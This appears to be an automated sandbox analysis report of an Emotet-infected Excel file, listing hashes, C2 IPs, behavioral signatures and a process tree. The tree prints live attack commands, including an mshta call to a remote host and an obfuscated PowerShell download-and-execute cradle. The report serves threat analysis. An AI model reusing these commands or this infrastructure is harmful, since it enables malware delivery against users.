emotet | d544142f7564a9b9fa7305f8614dd44ce496479b54eccac74a0ef2ca87c5f2d2

Analysis

max time kernel
128s
max time network
155s
platform
windows10_x64
resource
win10-en-20211208
submitted
27/01/2022, 18:41

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General

Target
tmp_n6ahuet.xls
Size 155KB
Sample220127-xbt3eahagn
SHA256 d544142f7564a9b9fa7305f8614dd44ce496479b54eccac74a0ef2ca87c5f2d2
MD5 98a5583744fb02f85c045622135f00ae
SHA1 297958411347a171970e0552e99d9e55c1bdee96
SHA512 2cc25745b6a6888171d6f6bde83082f2abeb555e46a2fe852030e6b218f0085eee22a7bdb4b6e0b53f01ae43010fff82986aaaccfd819ef294b10a9e8adc31fc
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443
173.214.173.220:8080
212.237.5.209:443
192.254.71.210:443
216.158.226.206:443
162.243.175.63:443
212.24.98.99:8080
58.227.42.236:80
45.118.115.99:8080
104.251.214.46:8080
185.157.82.209:8080
46.55.222.11:443
188.40.137.206:8080
81.0.236.90:443
103.75.201.2:443
129.232.188.93:443
195.154.133.20:443
159.8.59.82:8080
79.172.212.216:8080
138.185.72.26:8080
200.17.134.35:7080
185.157.82.211:8080
209.59.138.75:7080
178.63.25.185:443
45.176.232.124:443
45.118.135.203:7080
164.68.99.3:8080
203.114.109.124:443
212.237.17.99:8080
50.116.54.215:443
131.100.24.231:80
212.237.56.116:7080
45.142.114.231:8080
162.214.50.39:7080
51.38.71.0:443
104.168.155.129:8080
107.182.225.142:8080
217.182.143.207:443
158.69.222.101:443
176.104.106.96:8080
207.38.84.195:8080
41.76.108.46:8080
110.232.117.186:8080
178.79.147.66:8080
173.212.193.249:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1736	3440	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
34	924	mshta.exe
39	3924	powershell.exe
41	3924	powershell.exe
42	3180	rundll32.exe
44	3180	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
4984	rundll32.exe
2320	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Rkxetzwsdoq\zhraiieudf.gwf	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2640	924	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3440	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3924	powershell.exe
2640	WerFault.exe
2640	WerFault.exe
2640	WerFault.exe
2640	WerFault.exe
2640	WerFault.exe
2640	WerFault.exe
2640	WerFault.exe
2640	WerFault.exe
2640	WerFault.exe
2640	WerFault.exe
2640	WerFault.exe
2640	WerFault.exe
2640	WerFault.exe
2640	WerFault.exe
3924	powershell.exe
3924	powershell.exe
3180	rundll32.exe
3180	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3924	powershell.exe
Token: SeDebugPrivilege	2640	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE
3440	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3440 wrote to memory of 1736	3440	EXCEL.EXE	72
PID 3440 wrote to memory of 1736	3440	EXCEL.EXE	72
PID 1736 wrote to memory of 924	1736	cmd.exe	74
PID 1736 wrote to memory of 924	1736	cmd.exe	74
PID 924 wrote to memory of 3924	924	mshta.exe	75
PID 924 wrote to memory of 3924	924	mshta.exe	75
PID 3924 wrote to memory of 4932	3924	powershell.exe	79
PID 3924 wrote to memory of 4932	3924	powershell.exe	79
PID 4932 wrote to memory of 4984	4932	cmd.exe	80
PID 4932 wrote to memory of 4984	4932	cmd.exe	80
PID 4932 wrote to memory of 4984	4932	cmd.exe	80
PID 4984 wrote to memory of 2320	4984	rundll32.exe	81
PID 4984 wrote to memory of 2320	4984	rundll32.exe	81
PID 4984 wrote to memory of 2320	4984	rundll32.exe	81
PID 2320 wrote to memory of 4780	2320	rundll32.exe	82
PID 2320 wrote to memory of 4780	2320	rundll32.exe	82
PID 2320 wrote to memory of 4780	2320	rundll32.exe	82
PID 4780 wrote to memory of 3180	4780	rundll32.exe	83
PID 4780 wrote to memory of 3180	4780	rundll32.exe	83
PID 4780 wrote to memory of 3180	4780	rundll32.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp_n6ahuet.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3440
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1736
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/zqqw/zaas/fe.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:924
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3924
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4932
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:4984
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2320
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Rkxetzwsdoq\zhraiieudf.gwf",OwZRyQOvZTxS
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4780
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Rkxetzwsdoq\zhraiieudf.gwf",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3180
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 924 -s 2340
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2640

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2320-1655-0x0000000005160000-0x0000000005185000-memory.dmp

Download

memory/2320-1651-0x0000000004FC0000-0x0000000004FE5000-memory.dmp

Download

memory/2320-1649-0x0000000004F60000-0x0000000004F85000-memory.dmp

Download

memory/2320-1647-0x0000000004F00000-0x0000000004F25000-memory.dmp

Download

memory/2320-1645-0x0000000004D20000-0x0000000004D45000-memory.dmp

Download

memory/2320-1643-0x0000000004C30000-0x0000000004C55000-memory.dmp

Download

memory/2320-1641-0x0000000002D70000-0x0000000002D95000-memory.dmp

Download

memory/3180-1659-0x0000000004740000-0x0000000004765000-memory.dmp

Download

memory/3180-1656-0x0000000000840000-0x0000000000865000-memory.dmp

Download

memory/3180-1673-0x0000000004D10000-0x0000000004D35000-memory.dmp

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memory/3180-1671-0x0000000004C90000-0x0000000004CB5000-memory.dmp

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memory/3180-1669-0x0000000004BB0000-0x0000000004BD5000-memory.dmp

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memory/3180-1667-0x0000000004AC0000-0x0000000004AE5000-memory.dmp

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memory/3180-1665-0x00000000049E0000-0x0000000004A05000-memory.dmp

Download

memory/3180-1663-0x0000000004900000-0x0000000004925000-memory.dmp

Download

memory/3180-1661-0x0000000004820000-0x0000000004845000-memory.dmp

Download

memory/3440-119-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

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memory/3440-118-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

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memory/3440-122-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

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memory/3924-1482-0x000001CC77030000-0x000001CC77052000-memory.dmp

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memory/3924-1540-0x000001CC775E0000-0x000001CC7761C000-memory.dmp

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memory/3924-1563-0x000001CC776A0000-0x000001CC77716000-memory.dmp

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memory/3924-1596-0x000001CC5EEF0000-0x000001CC77000000-memory.dmp

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memory/3924-1605-0x000001CC5EEF0000-0x000001CC77000000-memory.dmp

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memory/3924-1620-0x000001CC5EEF0000-0x000001CC77000000-memory.dmp

Download

memory/4984-1633-0x0000000004180000-0x00000000041A5000-memory.dmp

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